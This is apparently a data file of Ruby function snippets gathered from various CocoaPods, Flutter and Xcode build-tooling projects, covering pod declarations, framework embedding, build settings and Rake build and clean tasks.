sandbox.framework_folder_path_for_target_name(name)\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n if not Podfile::DSL.dont_remove_source_code\n # only keep manifest.lock and framework folder in _Prebuild\n to_remain_files = [\"Manifest.lock\", File.basename(existed_framework_folder)]\n to_delete_files = sandbox_path.children.select do |file|\n filename = File.basename(file)\n not to_remain_files.include?(filename)\n end\n to_delete_files.each do |path|\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n else \n # just remove the tmp files\n path = sandbox.root + 'Manifest.lock.tmp'\n #path.rmtree if path.exist?\n FileUtils.rm_r(path.realpath, :verbose => Pod::Podfile::DSL.verbose_log) if path.exist?\n end\n \n \n Pod::UI.puts \"🚀 Push Store Info: #{Podfile::DSL.builded_store_list}\"\n\n Podfile::DSL.builded_store_list.each do |store_pack|\n spec_name = store_pack[\"spec_name\"]\n specs_name = store_pack[\"specs_name\"]\n spec_version = store_pack[\"spec_version\"]\n generate_path = store_pack[\"generate_path\"]\n server_url = store_pack[\"server_url\"]\n \n Pod::PrebuildFetch.sync_prebuild_framework_to_server(spec_name, specs_name, spec_version, generate_path, server_url)\n end\n \n Podfile::DSL.builded_store_list = []\n end", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def install_flutter_business_pods\n install_business_pods\n install_plugin_pods\nend", "def common_pods_for_target\n # Pods for getting started\n pod 'Amplify', '~> 1.0' # required amplify dependency\n pod 'Amplify/Tools', '~> 1.0' # allows to call amplify CLI from within Xcode\n\n pod 'AmplifyPlugins/AWSCognitoAuthPlugin', '~> 1.0' # support for Cognito user authentication\n pod 'AmplifyPlugins/AWSAPIPlugin', '~> 1.0' # support for GraphQL API\n pod 'AmplifyPlugins/AWSS3StoragePlugin', '~> 1.0' # support for Amazon S3 storage\nend", "def flutter_install_all_ios_pods(ios_application_path = nil)\n flutter_install_ios_engine_pod(ios_application_path)\n flutter_install_plugin_pods(ios_application_path, '.symlinks', 'ios')\nend", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n end\n end", "def mobile_sdk_post_install(installer)\n installer.pods_project.targets.each do |target|\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n force_to_arc_supported_min = target.deployment_target.to_i < 9\n if force_to_arc_supported_min\n change_deployment_target(target, '9.0')\n end\n \n # Mobile SDK targets\n is_mobile_sdk_target = ['SalesforceAnalytics', 'SalesforceSDKCommon', 'SalesforceSDKCore', 'SmartStore', 'MobileSync', 'SalesforceReact', 'FMDB'].include?(target.name)\n if is_mobile_sdk_target\n change_deployment_target(target, '15.0')\n end\n end\nend", "def add_user_script_phases\n native_targets.each do |native_target|\n TargetIntegrator.create_or_update_user_script_phases(target.target_definition.script_phases, native_target)\n end\n end", "def run_all\n \n projects.each do |project|\n project.targets.each do |target|\n config = target.config('Debug')\n UI.info((\"*\" * 80))\n UI.info \"Building #{project.name} - #{target.name} - #{config.name}\"\n UI.info((\"*\" * 80))\n config.builder.build\n end\n end\n \n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n platforms_by_spec = Hash[specs.map do |spec|\n platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n [spec, platforms]\n end]\n\n if platforms_by_spec.values.all?(&:empty?)\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms for podspecs #{specs.map(&:name).to_sentence} match requested platforms: #{configuration.platforms}\"\n end\n\n platforms_by_spec\n .flat_map do |spec, platforms|\n platforms.map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n end\n .compact.uniq.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path.to_s, target.name) if target\n end\n app_project.save\n app_project\n end", "def use_frameworks!(flag = true)\n current_target_definition.use_frameworks!(flag)\n end", "def require_frameworks\n configuration.objc_frameworks.each { |framework| OSX.require_framework(framework) }\n end", "def mobile_sdk_pre_install(installer)\n dynamic_framework = ['SalesforceAnalytics', 'SalesforceSDKCore', 'SalesforceSDKCommon', 'SmartStore', 'FMDB', 'SQLCipher', 'MobileSync']\n installer.pod_targets.each do |pod|\n if dynamic_framework.include?(pod.name)\n def pod.build_type\n Pod::BuildType.dynamic_framework\n end\n end\n end\nend", "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def generate_pods_project\n stage_sandbox(sandbox, pod_targets)\n\n cache_analysis_result = analyze_project_cache\n pod_targets_to_generate = cache_analysis_result.pod_targets_to_generate\n aggregate_targets_to_generate = cache_analysis_result.aggregate_targets_to_generate\n\n pod_targets_to_generate.each do |pod_target|\n pod_target.build_headers.implode_path!(pod_target.headers_sandbox)\n sandbox.public_headers.implode_path!(pod_target.headers_sandbox)\n end\n\n create_and_save_projects(pod_targets_to_generate, aggregate_targets_to_generate,\n cache_analysis_result.build_configurations, cache_analysis_result.project_object_version)\n SandboxDirCleaner.new(sandbox, pod_targets, aggregate_targets).clean!\n\n update_project_cache(cache_analysis_result, target_installation_results)\n end", "def install!\n prepare\n resolve_dependencies\n download_dependencies\n validate_targets\n clean_sandbox\n if installation_options.skip_pods_project_generation?\n show_skip_pods_project_generation_message\n run_podfile_post_install_hooks\n else\n integrate\n end\n write_lockfiles\n perform_post_install_actions\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def install_projects\n if @project.include? ','\n projects = @project.split ','\n projects.each do |p|\n @project = p\n check_core\n install_project \n puts\n end \n else\n check_core\n install_project\n end\n end", "def validate_dynamic_framework_support(aggregate_targets, deployment_target)\n return unless consumer.platform_name == :ios\n return unless deployment_target.nil? || Version.new(deployment_target).major < 8\n aggregate_targets.each do |target|\n if target.pod_targets.any?(&:uses_swift?)\n uses_xctest = target.spec_consumers.any? { |c| (c.frameworks + c.weak_frameworks).include? 'XCTest' }\n error('swift', 'Swift support uses dynamic frameworks and is therefore only supported on iOS > 8.') unless uses_xctest\n end\n end\n end", "def setup_projects\n # noop\n end", "def install!(update)\n pods_installer.update = update\n pods_installer.installation_options.integrate_targets = false\n pods_installer.install!\n install_resources\n copy_cocoapods_env_and_prefix_headers\n end", "def application_targets\n @application_targets ||= native_targets.select do |target|\n target.product_type == Xcodeproj::Constants::PRODUCT_TYPE_UTI[:application]\n end\n end", "def run_plugins_post_integrate_hooks\n if any_plugin_post_integrate_hooks?\n context = PostIntegrateHooksContext.generate(sandbox, pods_project, pod_target_subprojects, aggregate_targets)\n HooksManager.run(:post_integrate, context, plugins)\n end\n end", "def add_pods_to_unity \n ios_project_path = File.join(BuildPath, \"ios\", \"Unity-iPhone.xcodeproj\")\n proj = ::Xcodeproj::Project.open(ios_project_path)\n\n pods_project_path = File.join(BuildPath, \"ios\", \"Pods\", \"Pods.xcodeproj\")\n proj.new_file(pods_project_path)\n\n proj.save\n end", "def apply\n open_project\n\n umbrella_target = add_umbrella_target_if_needed\n umbrella_files_path = create_umbrella_files\n add_umbrella_files_to_target(umbrella_files_path, umbrella_target)\n add_dependency_to_main_target(umbrella_target)\n\n @project.save\n end", "def publish!\n mkdir_p File.join(self.publish_path, self.to_s)\n self.targets.each do |tgt|\n install File.join(self.to_s, tgt), File.join(self.publish_path, self.to_s, tgt)\n end\n end", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n spec_platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n\n if spec_platforms.empty?\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms in #{spec.name}.podspec match requested platforms: #{configuration.platforms}\"\n end\n\n spec_platforms\n .map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n .compact.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path, target.name) if target\n end\n app_project.save\n end", "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "def local_pods\n color(32) { puts \"Installing Local Pods...\" }\n pod 'BasicCommons', :path => '../BasicCommons/'\n pod 'BasicUIElements', :path => '../BasicUIElements/'\n pod 'CuotasModule', :path => '../CuotasModule/'\nend", "def include_targets=(value)\n @include_targets = value\n end", "def master_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def import_pods\n import_pods_appname\nend", "def framework_import_pods\n \n pod 'MBProgressHUD'\n pod 'Firebase/Analytics'\n pod 'Firebase/Crashlytics'\n pod 'Firebase/Core'\n pod 'Firebase/Auth'\n pod 'Firebase/Analytics'\n pod 'Firebase/Database'\n pod 'Firebase/Storage'\n pod 'Firebase/Firestore'\n pod 'IQKeyboardManagerSwift'\n pod 'DrawerView'\n pod 'SwiftyDraw'\n pod 'ChromaColorPicker'\n pod 'Kingfisher'\n pod 'Hashtags'\n pod 'ImageSlideshow', '~> 1.8.3'\n pod 'ImageSlideshow/Kingfisher'\n \nend", "def install!\n refresh_file_accessors\n prepare_pod_groups\n add_source_files_references\n add_frameworks_bundles\n add_vendored_libraries\n add_resources\n add_developer_files unless sandbox.development_pods.empty?\n link_headers\n end", "def app_pods\n\t# Add pods from embedded frameworks to resolve dependency errors like: dyld Library not loaded, image not found\n shared_pods\n customViews_pods\n serverWorker_pods\n commons_pods\n\n\t# Automatically creates type-safe constants for localized text, colors, etc.\n\t# https://github.com/mac-cain13/R.swift\n # License: MIT\n\tpod 'R.swift'\n\n\t# A strong typed folder path structure to replace NSSearchPathForDirectoriesInDomains.\n\t# https://github.com/dreymonde/AppFolder\n # License: MIT\n\tpod 'AppFolder'\n\n\t# A collection of operators and utilities that simplify iOS layout code. Used to create view constraints in code.\n\t# https://github.com/Raizlabs/Anchorage\n # License: MIT\n\tpod 'Anchorage'\n\n\t# Reactive programming in swift and cocoa.\n\t# https://github.com/ReactiveX/RxSwift\n # License: MIT\n\tpod 'RxSwift'\n\tpod 'RxCocoa'\nend", "def create_inject_test_target(project, test_dir, test_target_name, test_target_identifier)\n test_target = project.new(Xcodeproj::Project::PBXNativeTarget)\n test_target.name = test_target_name\n test_target.product_name = test_target_name\n test_target.build_configuration_list = Xcodeproj::Project::ProjectHelper.configuration_list project, :ios, \"9.0\"\n\n product_ref = project.products_group.new_reference(\"#{test_target_name}.xctest\", :built_products)\n product_ref.include_in_index = '0'\n product_ref.set_explicit_file_type\n test_target.product_reference = product_ref\n\n test_target_source_build_phase = project.new(Xcodeproj::Project::PBXSourcesBuildPhase)\n test_target.build_phases << test_target_source_build_phase\n test_target.build_phases << project.new(Xcodeproj::Project::PBXFrameworksBuildPhase)\n test_target.build_phases << project.new(Xcodeproj::Project::PBXResourcesBuildPhase)\n\n test_target.build_configuration_list.set_setting('INFOPLIST_FILE', File.join(test_dir, 'Info.plist'))\n test_target.build_configuration_list.set_setting('WRAPPER_EXTENSION', 'xctest')\n test_target.build_configuration_list.set_setting('TEST_HOST', '$(BUNDLE_LOADER)')\n test_target.build_configuration_list.set_setting('PRODUCT_BUNDLE_IDENTIFIER', test_target_identifier)\n test_target.build_configuration_list.set_setting('LD_RUNPATH_SEARCH_PATHS', [\n '$(inherited)',\n '@executable_path/Frameworks',\n '@loader_path/Frameworks',\n ])\n\n Dir.glob(\"#{test_dir.sub /\\/$/, ''}/*.{swift,m}\") do |test_file|\n file_ref = project.new_file test_file\n test_target_source_build_phase.add_file_reference file_ref\n end\n\n return test_target\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def pods\n #定义导入的pods\n #platform :ios, '7.0'\n\n pod 'GVUserDefaults'\n pod 'AFNetworking'\n pod 'SDWebImage'\nend", "def test_framework_runtimes\n find_duplicates :frameworks\n end", "def release_pods\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def targets\n project.targets\n end", "def native_targets\n @native_targets ||= project.targets.select do |target|\n target.is_a?(Xcodeproj::Project::Object::PBXNativeTarget)\n end\n end", "def frameworks_build_phase\n phase = build_phases.find { |bp| bp.class == PBXFrameworksBuildPhase }\n unless phase\n phase= project.new(PBXFrameworksBuildPhase)\n build_phases << phase\n end\n phase\n end", "def flutter_additional_ios_build_settings(target)\n return unless target.platform_name == :ios\n\n # [target.deployment_target] is a [String] formatted as \"8.0\".\n inherit_deployment_target = target.deployment_target[/\\d+/].to_i < 11\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3.\n force_to_arc_supported_min = target.deployment_target[/\\d+/].to_i < 9\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios', 'Flutter.xcframework'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # iOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --ios\\\" is executed first\"\n end\n\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'ios-release', 'Flutter.xcframework'), __FILE__)\n # Bundles are com.apple.product-type.bundle, frameworks are com.apple.product-type.framework.\n target_is_resource_bundle = target.respond_to?(:product_type) && target.product_type == 'com.apple.product-type.bundle'\n\n target.build_configurations.each do |build_configuration|\n # Build both x86_64 and arm64 simulator archs for all dependencies. If a single plugin does not support arm64 simulators,\n # the app and all frameworks will fall back to x86_64. Unfortunately that case is not detectable in this script.\n # Therefore all pods must have a x86_64 slice available, or linking a x86_64 app will fail.\n build_configuration.build_settings['ONLY_ACTIVE_ARCH'] = 'NO' if build_configuration.type == :debug\n\n # Workaround https://github.com/CocoaPods/CocoaPods/issues/11402, do not sign resource bundles.\n if target_is_resource_bundle\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_IDENTITY'] = '-'\n build_configuration.build_settings['EXPANDED_CODE_SIGN_IDENTITY'] = '-'\n end\n\n # ARC code targeting iOS 8 does not build on Xcode 14.3. Force to at least iOS 9.\n build_configuration.build_settings['IPHONEOS_DEPLOYMENT_TARGET'] = '9.0' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'Flutter' }\n\n # Bitcode is deprecated, Flutter.framework bitcode blob will have been stripped.\n build_configuration.build_settings['ENABLE_BITCODE'] = 'NO'\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n Dir.new(configuration_engine_dir).each_child do |xcframework_file|\n next if xcframework_file.start_with?('.') # Hidden file, possibly on external disk.\n if xcframework_file.end_with?('-simulator') # ios-arm64_x86_64-simulator\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphonesimulator*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n elsif xcframework_file.start_with?('ios-') # ios-arm64\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS[sdk=iphoneos*]'] = \"\\\"#{configuration_engine_dir}/#{xcframework_file}\\\" $(inherited)\"\n # else Info.plist or another platform.\n end\n end\n build_configuration.build_settings['OTHER_LDFLAGS'] = '$(inherited) -framework Flutter'\n\n build_configuration.build_settings['CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER'] = 'NO'\n # Suppress warning when pod supports a version lower than the minimum supported by Xcode (Xcode 12 - iOS 9).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'IPHONEOS_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Override legacy Xcode 11 style VALID_ARCHS[sdk=iphonesimulator*]=x86_64 and prefer Xcode 12 EXCLUDED_ARCHS.\n build_configuration.build_settings['VALID_ARCHS[sdk=iphonesimulator*]'] = '$(ARCHS_STANDARD)'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphonesimulator*]'] = '$(inherited) i386'\n build_configuration.build_settings['EXCLUDED_ARCHS[sdk=iphoneos*]'] = '$(inherited) armv7'\n end\nend", "def setup\n @build_dir = File.join project.dir, 'build'\n unless Dir.exists? @build_dir\n Dir.mkdir @build_dir\n end\n\n task 'default' => 'build'\n\n desc 'Build the project'\n task 'build' => project.target do\n puts \"Built #{File.basename project.target}\".green\n end\n\n self.setup_target\n self.setup_source_files\n\n if project.test_target\n self.setup_test_target\n self.setup_test_files\n end\n\n desc 'Clean up build artifacts and target'\n task 'clean' do\n sh \"rm -f #{project.target}\"\n project.sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n \n namespace 'test' do\n desc 'Build the test target'\n task 'build' => project.test_target do\n puts \"Built #{File.basename project.test_target}\".green\n end\n desc 'Clean test build artifacts'\n task 'clean' do\n sh \"rm -f #{project.test_target}\"\n project.test_sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n end\n \n end", "def install_plugin_pods\n current_dir = Pathname.new __dir__\n project_dir= Pathname.new Dir.pwd\n relative = current_dir.relative_path_from project_dir\n pluginDir = File.join(relative.to_s, 'Plugins')\n if File.directory?(pluginDir) then\n plugins = Dir.children(pluginDir).each{}\n plugins.map do |r|\n if r != '.DS_Store' then\n podDir = File.join(pluginDir, r)\n pod r, :path => podDir, :nhibit_warnings => true\n puts(r)\n end\n end\n end\nend", "def generate_targets\n has_metaname = has_version?\n\n %w[clean update fetch configure export build install].each do |target|\n target_name = \"#{@name}_#{target}\".to_sym\n target_metaname = \"#{@metaname}_#{target}\".to_sym if has_metaname\n func = pkg_default_target_func(@name.to_sym, target)\n\n task = Rake::Task.define_task(target_name, &func)\n metatask = Rake::Task.define_task(target_metaname, &func) if has_metaname\n\n # Add per-task dependency\n case target\n when /install/i\n task.enhance([\"#{@name}_build\".to_sym])\n metatask.enhance([\"#{@metaname}_build\".to_sym]) if has_metaname\n when /build/i\n task.enhance([\"#{@name}_export\".to_sym])\n metatask.enhance([\"#{@metaname}_export\".to_sym]) if has_metaname\n\n # Generate package export dependencies\n @build_deps.each do |dep|\n task.enhance([\"#{dep}_export\".to_sym])\n metatask.enhance([\"#{dep}_export\".to_sym]) if has_metaname\n end\n\n # Generate package build dependencies\n @clean_deps.each do |dep|\n task.enhance([\"#{dep}_install\".to_sym])\n metatask.enhance([\"#{dep}_install\".to_sym]) if has_metaname\n end\n when /export/i\n task.enhance([\"#{@name}_configure\".to_sym])\n metatask.enhance([\"#{@metaname}_configure\".to_sym]) if has_metaname\n when /configure/i\n task.enhance([\"#{@name}_fetch\".to_sym])\n metatask.enhance([\"#{@metaname}_fetch\".to_sym]) if has_metaname\n when /clean/i\n # Generate package clean dependencies\n @clean_deps.each do |dep|\n task.enhance([\"#{dep}_clean\".to_sym])\n metatask.enhance([\"#{dep}_clean\".to_sym]) if has_metaname\n end\n end\n\n update_global_task(target, target_name)\n end\n\n # Create the default package task named after the package name\n task = Rake::Task.define_task(\"#{@name}\" => [\"#{@name}_install\".to_sym])\n metatask = Rake::Task.define_task(\"#{@metaname}\" => [\"#{@metaname}_install\".to_sym]) if has_metaname\n end", "def develop_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'develop'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'develop'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'develop'\nend", "def add_vendored_libraries\n UI.message '- Adding libraries' do\n add_file_accessors_paths_to_pods_group(:vendored_libraries, :frameworks)\n end\n end", "def configure_local_pods()\n # Firestore is always local; that's what's under development here.\n pod 'FirebaseFirestore', :path => '../..'\n\n # FirebaseCore must always be a local pod so that CI builds that 